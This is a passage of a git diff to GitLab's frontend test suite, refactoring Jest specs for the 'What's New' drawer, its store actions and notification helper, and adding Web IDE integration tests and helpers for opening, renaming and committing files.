- const propsData = { storageKey: 'storage-key' };
let wrapper;
let store;
let actions;
let state;
let trackingSpy;
+ let gitlabDotCom = true;
+
+ const buildProps = () => ({
+ storageKey: 'storage-key',
+ versions: ['3.11', '3.10'],
+ gitlabDotCom,
+ });
const buildWrapper = () => {
actions = {
@@ -45,7 +51,7 @@ describe('App', () => {
wrapper = mount(App, {
localVue,
store,
- propsData,
+ propsData: buildProps(),
directives: {
GlResizeObserver: createMockDirective(),
},
@@ -53,112 +59,171 @@ describe('App', () => {
};
const findInfiniteScroll = () => wrapper.find(GlInfiniteScroll);
- const emitBottomReached = () => findInfiniteScroll().vm.$emit('bottomReached');
- beforeEach(async () => {
+ const setup = async () => {
document.body.dataset.page = 'test-page';
document.body.dataset.namespaceId = 'namespace-840';
trackingSpy = mockTracking('_category_', null, jest.spyOn);
buildWrapper();
- wrapper.vm.$store.state.features = [{ title: 'Whats New Drawer', url: 'www.url.com' }];
+ wrapper.vm.$store.state.features = [
+ { title: 'Whats New Drawer', url: 'www.url.com', release: 3.11 },
+ ];
wrapper.vm.$store.state.drawerBodyHeight = MOCK_DRAWER_BODY_HEIGHT;
await wrapper.vm.$nextTick();
- });
+ };
afterEach(() => {
wrapper.destroy();
unmockTracking();
});
- const getDrawer = () => wrapper.find(GlDrawer);
+ describe('gitlab.com', () => {
+ beforeEach(() => {
+ setup();
+ });
- it('contains a drawer', () => {
- expect(getDrawer().exists()).toBe(true);
- });
+ const getDrawer = () => wrapper.find(GlDrawer);
- it('dispatches openDrawer and tracking calls when mounted', () => {
- expect(actions.openDrawer).toHaveBeenCalledWith(expect.any(Object), 'storage-key');
- expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_whats_new_drawer', {
- label: 'namespace_id',
- value: 'namespace-840',
+ it('contains a drawer', () => {
+ expect(getDrawer().exists()).toBe(true);
});
- });
- it('dispatches closeDrawer when clicking close', () => {
- getDrawer().vm.$emit('close');
- expect(actions.closeDrawer).toHaveBeenCalled();
- });
+ it('dispatches openDrawer and tracking calls when mounted', () => {
+ expect(actions.openDrawer).toHaveBeenCalledWith(expect.any(Object), 'storage-key');
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_whats_new_drawer', {
+ label: 'namespace_id',
+ value: 'namespace-840',
+ });
+ });
- it.each([true, false])('passes open property', async openState => {
- wrapper.vm.$store.state.open = openState;
+ it('dispatches closeDrawer when clicking close', () => {
+ getDrawer().vm.$emit('close');
+ expect(actions.closeDrawer).toHaveBeenCalled();
+ });
- await wrapper.vm.$nextTick();
+ it.each([true, false])('passes open property', async openState => {
+ wrapper.vm.$store.state.open = openState;
- expect(getDrawer().props('open')).toBe(openState);
- });
+ await wrapper.vm.$nextTick();
- it('renders features when provided via ajax', () => {
- expect(actions.fetchItems).toHaveBeenCalled();
- expect(wrapper.find('h5').text()).toBe('Whats New Drawer');
- });
+ expect(getDrawer().props('open')).toBe(openState);
+ });
- it('send an event when feature item is clicked', () => {
- trackingSpy = mockTracking('_category_', wrapper.element, jest.spyOn);
+ it('renders features when provided via ajax', () => {
+ expect(actions.fetchItems).toHaveBeenCalled();
+ expect(wrapper.find('[data-test-id="feature-title"]').text()).toBe('Whats New Drawer');
+ });
- const link = wrapper.find('.whats-new-item-title-link');
- triggerEvent(link.element);
+ it('send an event when feature item is clicked', () => {
+ trackingSpy = mockTracking('_category_', wrapper.element, jest.spyOn);
- expect(trackingSpy.mock.calls[1]).toMatchObject([
- '_category_',
- 'click_whats_new_item',
- {
- label: 'Whats New Drawer',
- property: 'www.url.com',
- },
- ]);
- });
+ const link = wrapper.find('.whats-new-item-title-link');
+ triggerEvent(link.element);
+
+ expect(trackingSpy.mock.calls[1]).toMatchObject([
+ '_category_',
+ 'click_whats_new_item',
+ {
+ label: 'Whats New Drawer',
+ property: 'www.url.com',
+ },
+ ]);
+ });
+
+ it('renders infinite scroll', () => {
+ const scroll = findInfiniteScroll();
+
+ expect(scroll.props()).toMatchObject({
+ fetchedItems: wrapper.vm.$store.state.features.length,
+ maxListHeight: MOCK_DRAWER_BODY_HEIGHT,
+ });
+ });
+
+ describe('bottomReached', () => {
+ const emitBottomReached = () => findInfiniteScroll().vm.$emit('bottomReached');
- it('renders infinite scroll', () => {
- const scroll = findInfiniteScroll();
+ beforeEach(() => {
+ actions.fetchItems.mockClear();
+ });
- expect(scroll.props()).toMatchObject({
- fetchedItems: wrapper.vm.$store.state.features.length,
- maxListHeight: MOCK_DRAWER_BODY_HEIGHT,
+ it('when nextPage exists it calls fetchItems', () => {
+ wrapper.vm.$store.state.pageInfo = { nextPage: 840 };
+ emitBottomReached();
+
+ expect(actions.fetchItems).toHaveBeenCalledWith(expect.anything(), { page: 840 });
+ });
+
+ it('when nextPage does not exist it does not call fetchItems', () => {
+ wrapper.vm.$store.state.pageInfo = { nextPage: null };
+ emitBottomReached();
+
+ expect(actions.fetchItems).not.toHaveBeenCalled();
+ });
+ });
+
+ it('calls getDrawerBodyHeight and setDrawerBodyHeight when resize directive is triggered', () => {
+ const { value } = getBinding(getDrawer().element, 'gl-resize-observer');
+
+ value();
+
+ expect(getDrawerBodyHeight).toHaveBeenCalledWith(wrapper.find(GlDrawer).element);
+
+ expect(actions.setDrawerBodyHeight).toHaveBeenCalledWith(
+ expect.any(Object),
+ MOCK_DRAWER_BODY_HEIGHT,
+ );
});
});
- describe('bottomReached', () => {
+ describe('self managed', () => {
+ const findTabs = () => wrapper.find(GlTabs);
+
+ const clickSecondTab = async () => {
+ const secondTab = wrapper.findAll('.nav-link').at(1);
+ await secondTab.trigger('click');
+ await new Promise(resolve => requestAnimationFrame(resolve));
+ };
+
beforeEach(() => {
- actions.fetchItems.mockClear();
+ gitlabDotCom = false;
+ setup();
});
- it('when nextPage exists it calls fetchItems', () => {
- wrapper.vm.$store.state.pageInfo = { nextPage: 840 };
- emitBottomReached();
+ it('renders tabs with drawer body height and content', () => {
+ const scroll = findInfiniteScroll();
+ const tabs = findTabs();
- expect(actions.fetchItems).toHaveBeenCalledWith(expect.anything(), 840);
+ expect(scroll.exists()).toBe(false);
+ expect(tabs.attributes().style).toBe(`height: ${MOCK_DRAWER_BODY_HEIGHT}px;`);
+ expect(wrapper.find('h5').text()).toBe('Whats New Drawer');
});
- it('when nextPage does not exist it does not call fetchItems', () => {
- wrapper.vm.$store.state.pageInfo = { nextPage: null };
- emitBottomReached();
+ describe('fetchVersion', () => {
+ beforeEach(() => {
+ actions.fetchItems.mockClear();
+ });
- expect(actions.fetchItems).not.toHaveBeenCalled();
- });
- });
+ it('when version isnt fetched, clicking a tab calls fetchItems', async () => {
+ const fetchVersionSpy = jest.spyOn(wrapper.vm, 'fetchVersion');
+ await clickSecondTab();
- it('calls getDrawerBodyHeight and setDrawerBodyHeight when resize directive is triggered', () => {
- const { value } = getBinding(getDrawer().element, 'gl-resize-observer');
+ expect(fetchVersionSpy).toHaveBeenCalledWith('3.10');
+ expect(actions.fetchItems).toHaveBeenCalledWith(expect.anything(), { version: '3.10' });
+ });
- value();
+ it('when version has been fetched, clicking a tab calls fetchItems', async () => {
+ wrapper.vm.$store.state.features.push({ title: 'GitLab Stories', release: 3.1 });
+ await wrapper.vm.$nextTick();
- expect(getDrawerBodyHeight).toHaveBeenCalledWith(wrapper.find(GlDrawer).element);
+ const fetchVersionSpy = jest.spyOn(wrapper.vm, 'fetchVersion');
+ await clickSecondTab();
- expect(actions.setDrawerBodyHeight).toHaveBeenCalledWith(
- expect.any(Object),
- MOCK_DRAWER_BODY_HEIGHT,
- );
+ expect(fetchVersionSpy).toHaveBeenCalledWith('3.10');
+ expect(actions.fetchItems).not.toHaveBeenCalled();
+ expect(wrapper.find('.tab-pane.active h5').text()).toBe('GitLab Stories');
+ });
+ });
});
});
diff --git a/spec/frontend/whats_new/store/actions_spec.js b/spec/frontend/whats_new/store/actions_spec.js
index 12722b1b3b1..82f17a2726f 100644
--- a/spec/frontend/whats_new/store/actions_spec.js
+++ b/spec/frontend/whats_new/store/actions_spec.js
@@ -41,6 +41,23 @@ describe('whats new actions', () => {
axiosMock.restore();
});
+ it('passes arguments', () => {
+ axiosMock.reset();
+
+ axiosMock
+ .onGet('/-/whats_new', { params: { page: 8, version: 40 } })
+ .replyOnce(200, [{ title: 'GitLab Stories' }]);
+
+ testAction(
+ actions.fetchItems,
+ { page: 8, version: 40 },
+ {},
+ expect.arrayContaining([
+ { type: types.ADD_FEATURES, payload: [{ title: 'GitLab Stories' }] },
+ ]),
+ );
+ });
+
it('if already fetching, does not fetch', () => {
testAction(actions.fetchItems, {}, { fetching: true }, []);
});
diff --git a/spec/frontend/whats_new/utils/notification_spec.js b/spec/frontend/whats_new/utils/notification_spec.js
new file mode 100644
index 00000000000..e3e390f4394
--- /dev/null
+++ b/spec/frontend/whats_new/utils/notification_spec.js
@@ -0,0 +1,55 @@
+import { useLocalStorageSpy } from 'helpers/local_storage_helper';
+import { setNotification, getStorageKey } from '~/whats_new/utils/notification';
+
+describe('~/whats_new/utils/notification', () => {
+ useLocalStorageSpy();
+
+ let wrapper;
+
+ const findNotificationEl = () => wrapper.querySelector('.header-help');
+ const findNotificationCountEl = () => wrapper.querySelector('.js-whats-new-notification-count');
+ const getAppEl = () => wrapper.querySelector('.app');
+
+ beforeEach(() => {
+ loadFixtures('static/whats_new_notification.html');
+ wrapper = document.querySelector('.whats-new-notification-fixture-root');
+ });
+
+ afterEach(() => {
+ wrapper.remove();
+ });
+
+ describe('setNotification', () => {
+ const subject = () => setNotification(getAppEl());
+
+ it("when storage key doesn't exist it adds notifications class", () => {
+ const notificationEl = findNotificationEl();
+
+ expect(notificationEl.classList).not.toContain('with-notifications');
+
+ subject();
+
+ expect(findNotificationCountEl()).toExist();
+ expect(notificationEl.classList).toContain('with-notifications');
+ });
+
+ it('removes class and count element when storage key is true', () => {
+ const notificationEl = findNotificationEl();
+ notificationEl.classList.add('with-notifications');
+ localStorage.setItem('storage-key', 'false');
+
+ expect(findNotificationCountEl()).toExist();
+
+ subject();
+
+ expect(findNotificationCountEl()).not.toExist();
+ expect(notificationEl.classList).not.toContain('with-notifications');
+ });
+ });
+
+ describe('getStorageKey', () => {
+ it('retrieves the storage key data attribute from the el', () => {
+ expect(getStorageKey(getAppEl())).toBe('storage-key');
+ });
+ });
+});
diff --git a/spec/frontend_integration/.eslintrc.yml b/spec/frontend_integration/.eslintrc.yml
index 2460e218f59..8fff491bdcf 100644
--- a/spec/frontend_integration/.eslintrc.yml
+++ b/spec/frontend_integration/.eslintrc.yml
@@ -4,5 +4,9 @@ settings:
import/resolver:
jest:
jestConfigFile: 'jest.config.integration.js'
+rules:
+ no-restricted-imports:
+ - error
+ - fs
globals:
mockServer: false
diff --git a/spec/frontend_integration/ide/__snapshots__/ide_integration_spec.js.snap b/spec/frontend_integration/ide/__snapshots__/ide_integration_spec.js.snap
deleted file mode 100644
index 877cc78a111..00000000000
--- a/spec/frontend_integration/ide/__snapshots__/ide_integration_spec.js.snap
+++ /dev/null
@@ -1,114 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`WebIDE runs 1`] = `
-<div>
- <article
- class="ide position-relative d-flex flex-column align-items-stretch"
- >
- <div
- class="ide-view flex-grow d-flex"
- >
- <div
- class="gl-relative multi-file-commit-panel flex-column"
- style="width: 340px;"
- >
- <div
- class="multi-file-commit-panel-inner"
- data-testid="ide-side-bar-inner"
- >
- <div
- class="multi-file-loading-container"
- >
- <div
- class="animation-container"
- >
- <div
- class="skeleton-line-1"
- />
- <div
- class="skeleton-line-2"
- />
- <div
- class="skeleton-line-3"
- />
- </div>
- </div>
- <div
- class="multi-file-loading-container"
- >
- <div
- class="animation-container"
- >
- <div
- class="skeleton-line-1"
- />
- <div
- class="skeleton-line-2"
- />
- <div
- class="skeleton-line-3"
- />
- </div>
- </div>
- <div
- class="multi-file-loading-container"
- >
- <div
- class="animation-container"
- >
- <div
- class="skeleton-line-1"
- />
- <div
- class="skeleton-line-2"
- />
- <div
- class="skeleton-line-3"
- />
- </div>
- </div>
- </div>
- <div
- class="position-absolute position-top-0 position-bottom-0 drag-handle position-right-0"
- size="340"
- style="cursor: ew-resize;"
- />
- </div>
- <div
- class="multi-file-edit-pane"
- >
- <div
- class="ide-empty-state"
- >
- <div
- class="row js-empty-state"
- >
- <div
- class="col-12"
- >
- <div
- class="svg-content svg-250"
- >
- <img
- src="/test/empty_state.svg"
- />
- </div>
- </div>
- <div
- class="col-12"
- >
- <div
- class="text-content text-center"
- >
- <h4>
- Make and review changes in the browser with the Web IDE
- </h4>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </article>
-</div>
-`;
diff --git a/spec/frontend_integration/ide/helpers/ide_helper.js b/spec/frontend_integration/ide/helpers/ide_helper.js
new file mode 100644
index 00000000000..fe8d5f93794
--- /dev/null
+++ b/spec/frontend_integration/ide/helpers/ide_helper.js
@@ -0,0 +1,173 @@
+import {
+ findAllByText,
+ fireEvent,
+ getByLabelText,
+ findByTestId,
+ getByText,
+ screen,
+ findByText,
+} from '@testing-library/dom';
+
+const isFolderRowOpen = row => row.matches('.folder.is-open');
+
+const getLeftSidebar = () => screen.getByTestId('left-sidebar');
+
+export const switchLeftSidebarTab = name => {
+ const sidebar = getLeftSidebar();
+
+ const button = getByLabelText(sidebar, name);
+
+ button.click();
+};
+
+export const getStatusBar = () => document.querySelector('.ide-status-bar');
+
+export const waitForMonacoEditor = () =>
+ new Promise(resolve => window.monaco.editor.onDidCreateEditor(resolve));
+
+export const findMonacoEditor = () =>
+ screen.findAllByLabelText(/Editor content;/).then(([x]) => x.closest('.monaco-editor'));
+
+export const findMonacoDiffEditor = () =>
+ screen.findAllByLabelText(/Editor content;/).then(([x]) => x.closest('.monaco-diff-editor'));
+
+export const findAndSetEditorValue = async value => {
+ const editor = await findMonacoEditor();
+ const uri = editor.getAttribute('data-uri');
+
+ window.monaco.editor.getModel(uri).setValue(value);
+};
+
+export const getEditorValue = async () => {
+ const editor = await findMonacoEditor();
+ const uri = editor.getAttribute('data-uri');
+
+ return window.monaco.editor.getModel(uri).getValue();
+};
+
+const findTreeBody = () => screen.findByTestId('ide-tree-body', {}, { timeout: 5000 });
+
+const findRootActions = () => screen.findByTestId('ide-root-actions', {}, { timeout: 7000 });
+
+const findFileRowContainer = (row = null) =>
+ row ? Promise.resolve(row.parentElement) : findTreeBody();
+
+const findFileChild = async (row, name, index = 0) => {
+ const container = await findFileRowContainer(row);
+ const children = await findAllByText(container, name, { selector: '.file-row-name' });
+
+ return children.map(x => x.closest('.file-row')).find(x => x.dataset.level === index.toString());
+};
+
+const openFileRow = row => {
+ if (!row || isFolderRowOpen(row)) {
+ return;
+ }
+
+ row.click();
+};
+
+const findAndTraverseToPath = async (path, index = 0, row = null) => {
+ if (!path) {
+ return row;
+ }
+
+ const [name, ...restOfPath] = path.split('/');
+
+ openFileRow(row);
+
+ const child = await findFileChild(row, name, index);
+
+ return findAndTraverseToPath(restOfPath.join('/'), index + 1, child);
+};
+
+const clickFileRowAction = (row, name) => {
+ fireEvent.mouseOver(row);
+
+ const dropdownButton = getByLabelText(row, 'Create new file or directory');
+ dropdownButton.click();
+
+ const dropdownAction = getByLabelText(dropdownButton.parentNode, name);
+ dropdownAction.click();
+};
+
+const fillFileNameModal = async (value, submitText = 'Create file') => {
+ const modal = await screen.findByTestId('ide-new-entry');
+
+ const nameField = await findByTestId(modal, 'file-name-field');
+ fireEvent.input(nameField, { target: { value } });
+
+ const createButton = getByText(modal, submitText, { selector: 'button' });
+ createButton.click();
+};
+
+const findAndClickRootAction = async name => {
+ const container = await findRootActions();
+ const button = getByLabelText(container, name);
+
+ button.click();
+};
+
+export const clickPreviewMarkdown = () => {
+ screen.getByText('Preview Markdown').click();
+};
+
+export const openFile = async path => {
+ const row = await findAndTraverseToPath(path);
+
+ openFileRow(row);
+};
+
+export const waitForTabToOpen = fileName =>
+ findByText(document.querySelector('.multi-file-edit-pane'), fileName);
+
+export const createFile = async (path, content) => {
+ const parentPath = path
+ .split('/')
+ .slice(0, -1)
+ .join('/');
+
+ const parentRow = await findAndTraverseToPath(parentPath);
+
+ if (parentRow) {
+ clickFileRowAction(parentRow, 'New file');
+ } else {
+ await findAndClickRootAction('New file');
+ }
+
+ await fillFileNameModal(path);
+ await findAndSetEditorValue(content);
+};
+
+export const getFilesList = () => {
+ return screen.getAllByTestId('file-row-name-container').map(e => e.textContent.trim());
+};
+
+export const deleteFile = async path => {
+ const row = await findAndTraverseToPath(path);
+ clickFileRowAction(row, 'Delete');
+};
+
+export const renameFile = async (path, newPath) => {
+ const row = await findAndTraverseToPath(path);
+ clickFileRowAction(row, 'Rename/Move');
+
+ await fillFileNameModal(newPath, 'Rename file');
+};
+
+export const closeFile = async path => {
+ const button = await screen.getByLabelText(`Close ${path}`, {
+ selector: '.multi-file-tabs button',
+ });
+
+ button.click();
+};
+
+export const commit = async () => {
+ switchLeftSidebarTab('Commit');
+ screen.getByTestId('begin-commit-button').click();
+
+ await screen.findByLabelText(/Commit to .+ branch/).then(x => x.click());
+
+ screen.getByText('Commit').click();
+};
diff --git a/spec/frontend_integration/ide/helpers/mock_data.js b/spec/frontend_integration/ide/helpers/mock_data.js
new file mode 100644
index 00000000000..f70739e5ac0
--- /dev/null
+++ b/spec/frontend_integration/ide/helpers/mock_data.js
@@ -0,0 +1,12 @@
+export const IDE_DATASET = {
+ emptyStateSvgPath: '/test/empty_state.svg',
+ noChangesStateSvgPath: '/test/no_changes_state.svg',
+ committedStateSvgPath: '/test/committed_state.svg',
+ pipelinesEmptyStateSvgPath: '/test/pipelines_empty_state.svg',
+ promotionSvgPath: '/test/promotion.svg',
+ ciHelpPagePath: '/test/ci_help_page',
+ webIDEHelpPagePath: '/test/web_ide_help_page',
+ clientsidePreviewEnabled: 'true',
+ renderWhitespaceInCode: 'false',
+ codesandboxBundlerUrl: 'test/codesandbox_bundler',
+};
diff --git a/spec/frontend_integration/ide/helpers/start.js b/spec/frontend_integration/ide/helpers/start.js
new file mode 100644
index 00000000000..9dc9649e1bf
--- /dev/null
+++ b/spec/frontend_integration/ide/helpers/start.js
@@ -0,0 +1,17 @@
+import { TEST_HOST } from 'helpers/test_constants';
+import extendStore from '~/ide/stores/extend';
+import { IDE_DATASET } from './mock_data';
+import { initIde } from '~/ide';
+
+export default (container, { isRepoEmpty = false, path = '' } = {}) => {
+ global.jsdom.reconfigure({
+ url: `${TEST_HOST}/-/ide/project/gitlab-test/lorem-ipsum${
+ isRepoEmpty ? '-empty' : ''
+ }/tree/master/-/${path}`,
+ });
+
+ const el = document.createElement('div');
+ Object.assign(el.dataset, IDE_DATASET);
+ container.appendChild(el);
+ return initIde(el, { extendStore });
+};
diff --git a/spec/frontend_integration/ide/ide_helper.js b/spec/frontend_integration/ide/ide_helper.js
deleted file mode 100644
index fea8bc24031..00000000000
--- a/spec/frontend_integration/ide/ide_helper.js
+++ /dev/null
@@ -1,122 +0,0 @@
-import { findAllByText, fireEvent, getByLabelText, screen } from '@testing-library/dom';
-
-const isFolderRowOpen = row => row.matches('.folder.is-open');
-
-const getLeftSidebar = () => screen.getByTestId('left-sidebar');
-
-const clickOnLeftSidebarTab = name => {
- const sidebar = getLeftSidebar();
-
- const button = getByLabelText(sidebar, name);
-
- button.click();
-};
-
-const findMonacoEditor = () =>
- screen.findByLabelText(/Editor content;/).then(x => x.closest('.monaco-editor'));
-
-const findAndSetEditorValue = async value => {
- const editor = await findMonacoEditor();
- const uri = editor.getAttribute('data-uri');
-
- window.monaco.editor.getModel(uri).setValue(value);
-};
-
-const findTreeBody = () => screen.findByTestId('ide-tree-body', {}, { timeout: 5000 });
-
-const findRootActions = () => screen.findByTestId('ide-root-actions', {}, { timeout: 7000 });
-
-const findFileRowContainer = (row = null) =>
- row ? Promise.resolve(row.parentElement) : findTreeBody();
-
-const findFileChild = async (row, name, index = 0) => {
- const container = await findFileRowContainer(row);
- const children = await findAllByText(container, name, { selector: '.file-row-name' });
-
- return children.map(x => x.closest('.file-row')).find(x => x.dataset.level === index.toString());
-};
-
-const openFileRow = row => {
- if (!row || isFolderRowOpen(row)) {
- return;
- }
-
- row.click();
-};
-
-const findAndTraverseToPath = async (path, index = 0, row = null) => {
- if (!path) {
- return row;
- }
-
- const [name, ...restOfPath] = path.split('/');
-
- openFileRow(row);
-
- const child = await findFileChild(row, name, index);
-
- return findAndTraverseToPath(restOfPath.join('/'), index + 1, child);
-};
-
-const clickFileRowAction = (row, name) => {
- fireEvent.mouseOver(row);
-
- const dropdownButton = getByLabelText(row, 'Create new file or directory');
- dropdownButton.click();
-
- const dropdownAction = getByLabelText(dropdownButton.parentNode, name);
- dropdownAction.click();
-};
-
-const findAndSetFileName = async value => {
- const nameField = await screen.findByTestId('file-name-field');
- fireEvent.input(nameField, { target: { value } });
-
- const createButton = screen.getByText('Create file');
- createButton.click();
-};
-
-const findAndClickRootAction = async name => {
- const container = await findRootActions();
- const button = getByLabelText(container, name);
-
- button.click();
-};
-
-export const openFile = async path => {
- const row = await findAndTraverseToPath(path);
-
- openFileRow(row);
-};
-
-export const createFile = async (path, content) => {
- const parentPath = path
- .split('/')
- .slice(0, -1)
- .join('/');
-
- const parentRow = await findAndTraverseToPath(parentPath);
-
- if (parentRow) {
- clickFileRowAction(parentRow, 'New file');
- } else {
- await findAndClickRootAction('New file');
- }
-
- await findAndSetFileName(path);
- await findAndSetEditorValue(content);
-};
-
-export const deleteFile = async path => {
- const row = await findAndTraverseToPath(path);
- clickFileRowAction(row, 'Delete');
-};
-
-export const commit = async () => {
- clickOnLeftSidebarTab('Commit');
- screen.getByTestId('begin-commit-button').click();
-
- await screen.findByLabelText(/Commit to .+ branch/).then(x => x.click());
-
- screen.getByText('Commit').click();
-};
diff --git a/spec/frontend_integration/ide/ide_integration_spec.js b/spec/frontend_integration/ide/ide_integration_spec.js
index 1f5c1d38450..dacc538d5ba 100644
--- a/spec/frontend_integration/ide/ide_integration_spec.js
+++ b/spec/frontend_integration/ide/ide_integration_spec.js
@@ -1,61 +1,28 @@
-import { TEST_HOST } from 'helpers/test_constants';
import { waitForText } from 'helpers/wait_for_text';
import waitForPromises from 'helpers/wait_for_promises';
import { useOverclockTimers } from 'test_helpers/utils/overclock_timers';
import { createCommitId } from 'test_helpers/factories/commit_id';
-import { initIde } from '~/ide';
-import extendStore from '~/ide/stores/extend';
-import * as ideHelper from './ide_helper';
-
-const TEST_DATASET = {
- emptyStateSvgPath: '/test/empty_state.svg',
- noChangesStateSvgPath: '/test/no_changes_state.svg',
- committedStateSvgPath: '/test/committed_state.svg',
- pipelinesEmptyStateSvgPath: '/test/pipelines_empty_state.svg',
- promotionSvgPath: '/test/promotion.svg',
- ciHelpPagePath: '/test/ci_help_page',
- webIDEHelpPagePath: '/test/web_ide_help_page',
- clientsidePreviewEnabled: 'true',
- renderWhitespaceInCode: 'false',
- codesandboxBundlerUrl: 'test/codesandbox_bundler',
-};
+import * as ideHelper from './helpers/ide_helper';
+import startWebIDE from './helpers/start';
describe('WebIDE', () => {
useOverclockTimers();
let vm;
- let root;
+ let container;
beforeEach(() => {
- root = document.createElement('div');
- document.body.appendChild(root);
-
- global.jsdom.reconfigure({
- url: `${TEST_HOST}/-/ide/project/gitlab-test/lorem-ipsum`,
- });
+ setFixtures('<div class="webide-container"></div>');
+ container = document.querySelector('.webide-container');
});
afterEach(() => {
vm.$destroy();
vm = null;
- root.remove();
- });
-
- const createComponent = () => {
- const el = document.createElement('div');
- Object.assign(el.dataset, TEST_DATASET);
- root.appendChild(el);
- vm = initIde(el, { extendStore });
- };
-
- it('runs', () => {
- createComponent();
-
- expect(root).toMatchSnapshot();
});
it('user commits changes', async () => {
- createComponent();
+ vm = startWebIDE(container);
await ideHelper.createFile('foo/bar/test.txt', 'Lorem ipsum dolar sit');
await ideHelper.deleteFile('foo/bar/.gitkeep');
@@ -89,7 +56,7 @@ describe('WebIDE', () => {
});
it('user adds file that starts with +', async () => {
- createComponent();
+ vm = startWebIDE(container);
await ideHelper.createFile('+test', 'Hello world!');
await ideHelper.openFile('+test');
@@ -101,4 +68,93 @@ describe('WebIDE', () => {
const tabs = Array.from(document.querySelectorAll('.multi-file-tab'));
expect(tabs.map(x => x.textContent.trim())).toEqual(['+test']);
});
+
+ describe('editor info', () => {
+ let statusBar;
+ let editor;
+
+ const waitForEditor = async () => {
+ editor = await ideHelper.waitForMonacoEditor();
+ };
+
+ const changeEditorPosition = async (lineNumber, column) => {
+ editor.setPosition({ lineNumber, column });
+
+ await vm.$nextTick();
+ };
+
+ beforeEach(async () => {
+ vm = startWebIDE(container);
+
+ await ideHelper.openFile('README.md');
+ editor = await ideHelper.waitForMonacoEditor();
+
+ statusBar = ideHelper.getStatusBar();
+ });
+
+ it('shows line position and type', () => {
+ expect(statusBar).toHaveText('1:1');
+ expect(statusBar).toHaveText('markdown');
+ });
+
+ it('persists viewer', async () => {
+ const markdownPreview = 'test preview_markdown result';
+ mockServer.post('/:namespace/:project/preview_markdown', () => ({
+ body: markdownPreview,
+ }));
+
+ await ideHelper.openFile('README.md');
+ ideHelper.clickPreviewMarkdown();
+
+ const el = await waitForText(markdownPreview);
+ expect(el).toHaveText(markdownPreview);
+
+ // Need to wait for monaco editor to load so it doesn't through errors on dispose
+ await ideHelper.openFile('.gitignore');
+ await ideHelper.waitForMonacoEditor();
+ await ideHelper.openFile('README.md');
+ await ideHelper.waitForMonacoEditor();
+
+ expect(el).toHaveText(markdownPreview);
+ });
+
+ describe('when editor position changes', () => {
+ beforeEach(async () => {
+ await changeEditorPosition(4, 10);
+ });
+
+ it('shows new line position', () => {
+ expect(statusBar).not.toHaveText('1:1');
+ expect(statusBar).toHaveText('4:10');
+ });
+
+ it('updates after rename', async () => {
+ await ideHelper.renameFile('README.md', 'READMEZ.txt');
+ await waitForEditor();
+
+ expect(statusBar).toHaveText('1:1');
+ expect(statusBar).toHaveText('plaintext');
+ });
+
+ it('persists position after opening then rename', async () => {
+ await ideHelper.openFile('files/js/application.js');
+ await waitForEditor();
+ await ideHelper.renameFile('README.md', 'READING_RAINBOW.md');
+ await ideHelper.openFile('READING_RAINBOW.md');
+ await waitForEditor();
+
+ expect(statusBar).toHaveText('4:10');
+ expect(statusBar).toHaveText('markdown');
+ });
+
+ it('persists position after closing', async () => {
+ await ideHelper.closeFile('README.md');
+ await ideHelper.openFile('README.md');
+ await waitForEditor();
+
+ expect(statusBar).toHaveText('4:10');
+ expect(statusBar).toHaveText('markdown');
+ });
+ });
+ });
});
diff --git a/spec/frontend_integration/ide/user_opens_file_spec.js b/spec/frontend_integration/ide/user_opens_file_spec.js
new file mode 100644
index 00000000000..98a73c7a029
--- /dev/null
+++ b/spec/frontend_integration/ide/user_opens_file_spec.js
@@ -0,0 +1,89 @@
+import { useOverclockTimers } from 'test_helpers/utils/overclock_timers';
+import { screen } from '@testing-library/dom';
+import * as ideHelper from './helpers/ide_helper';
+import startWebIDE from './helpers/start';
+
+// https://gitlab.com/gitlab-org/gitlab/-/issues/293654#note_466432769
+// eslint-disable-next-line jest/no-disabled-tests
+describe.skip('IDE: User opens a file in the Web IDE', () => {
+ useOverclockTimers();
+
+ let vm;
+ let container;
+
+ beforeEach(async () => {
+ setFixtures('<div class="webide-container"></div>');
+ container = document.querySelector('.webide-container');
+
+ vm = startWebIDE(container);
+
+ await screen.findByText('README'); // wait for file tree to load
+ });
+
+ afterEach(() => {
+ vm.$destroy();
+ vm = null;
+ });
+
+ describe('user opens a directory', () => {
+ beforeEach(async () => {
+ await ideHelper.openFile('files/images');
+ await screen.findByText('logo-white.png');
+ });
+
+ it('expands directory in the left sidebar', () => {
+ expect(ideHelper.getFilesList()).toEqual(
+ expect.arrayContaining(['html', 'js', 'images', 'logo-white.png']),
+ );
+ });
+ });
+
+ describe('user opens a text file', () => {
+ beforeEach(async () => {
+ await ideHelper.openFile('README.md');
+ await ideHelper.waitForTabToOpen('README.md');
+ });
+
+ it('opens the file in monaco editor', async () => {
+ expect(await ideHelper.getEditorValue()).toContain('Sample repo for testing gitlab features');
+ });
+
+ describe('user switches to review mode', () => {
+ beforeEach(() => {
+ ideHelper.switchLeftSidebarTab('Review');
+ });
+
+ it('shows diff editor', async () => {
+ expect(await ideHelper.findMonacoDiffEditor()).toBeDefined();
+ });
+ });
+ });
+
+ describe('user opens an image file', () => {
+ beforeEach(async () => {
+ await ideHelper.openFile('files/images/logo-white.png');
+ await ideHelper.waitForTabToOpen('logo-white.png');
+ });
+
+ it('opens image viewer for the file', async () => {
+ const viewer = await screen.findByTestId('image-viewer');
+ const img = viewer.querySelector('img');
+
+ expect(img.src).toContain('logo-white.png');
+ });
+ });
+
+ describe('user opens a binary file', () => {
+ beforeEach(async () => {
+ await ideHelper.openFile('Gemfile.zip');
+ await ideHelper.waitForTabToOpen('Gemfile.zip');
+ });
+
+ it('opens image viewer for the file', async () => {
+ const downloadButton = await screen.findByText('Download');
+
+ expect(downloadButton.getAttribute('download')).toEqual('Gemfile.zip');
+ expect(downloadButton.getAttribute('href')).toContain('/raw/');
+ });
+ });
+});
diff --git a/spec/frontend_integration/ide/user_opens_ide_spec.js b/spec/frontend_integration/ide/user_opens_ide_spec.js
new file mode 100644
index 00000000000..502cb2e2c7d
--- /dev/null
+++ b/spec/frontend_integration/ide/user_opens_ide_spec.js
@@ -0,0 +1,160 @@
+import { useOverclockTimers } from 'test_helpers/utils/overclock_timers';
+import { screen } from '@testing-library/dom';
+import * as ideHelper from './helpers/ide_helper';
+import startWebIDE from './helpers/start';
+
+describe('IDE: User opens IDE', () => {
+ useOverclockTimers();
+
+ let vm;
+ let container;
+
+ beforeEach(() => {
+ setFixtures('<div class="webide-container"></div>');
